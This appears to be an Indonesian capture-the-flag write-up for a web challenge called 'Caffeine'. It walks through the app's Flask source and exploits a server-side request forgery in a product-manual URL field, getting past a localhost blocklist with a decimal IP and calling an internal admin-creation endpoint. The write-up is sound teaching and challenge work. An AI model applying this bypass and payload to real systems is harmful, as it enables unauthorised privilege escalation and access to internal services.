WEBX CAFFEINE SSRF
WEBX CAFFEINE SSRF
Kamu akan di beri sebuah web yang berisi
login page

Register pageucup

Setelah kalian register akun dan login kalian masuk di halaman home. Lalu ada sebuah fitur untuk membuat produk baru

Recon dari source code:
@web.route('/home', methods=['GET'])
@isAuthenticated
def homeView(user):
return render_template('index.html', user=user, flag=current_app.config['FLAG'])
aku langsung lihat route dan mencari dimana flag muncul, nah ternyata itu di local host tapi kok gak muncul terus aku cek di index.html nah ternyata
{% if user['role'] == 'admin' %}
{{flag}}
{% endif %}
flag ya muncul kalo admin doang
terus aku check cara jadi admin
@service.route('/administratorAdd', methods=['GET'])
@isFromLocalhost
def administratorAdd():
username = request.args.get('username')
if not username:
return response('Invalid username'), 400
result = addAdmin(username)
if result:
return response('User updated!')
return response('Invalid username'), 400
Ternyata kalau kita pake url localhost dan memasukan username kita kita bisa jadi admin nah tapi cara kita maka rencana ini gimana
@service.route('/product', methods=['POST'])
@isAuthenticated
def sellProduct(user):
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
name = data.get('name', '')
price = data.get('price', '')
description = data.get('description', '')
manualUrl = data.get('manual', '')
if not name or not price or not description or not manualUrl:
return response('Isi semua formulir'), 401
manualPath = downloadManual(manualUrl)
if (manualPath):
addProduct(name, description, price)
return response('Produk tersubmit. Silahkan menunggu verifikasi administrator kami')
return response('URL Tidak Valid!'), 400
kita bisa exploit dengan ssrf di manual nya
lalu ku check func downloadManual nya dan ternyata
def downloadManual(url):
safeUrl = isSafeUrl(url)
if safeUrl:
try:
local_filename = url.split("/")[-1]
r = requests.get(url)
with open(f"/opt/manualFiles/{local_filename}", "wb") as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
return True
except:
return False
return False
ada sanitasi isSafeUrl
def isSafeUrl(url):
for hosts in blocked_host:
if hosts in url:
return False
return True
*blocked_host* *=* ["127.0.0.1", "localhost", "0.0.0.0"]
dan ya kita gak bisa kalo ssrf langsung dengan url localhost yang di block tapi kita bisa pake format ini http://2130706433/
yaudah langsung saja kita edit burp aja biar gampang debug
payload = http://2130706433:8099/service/administratorAdd?username=ucup
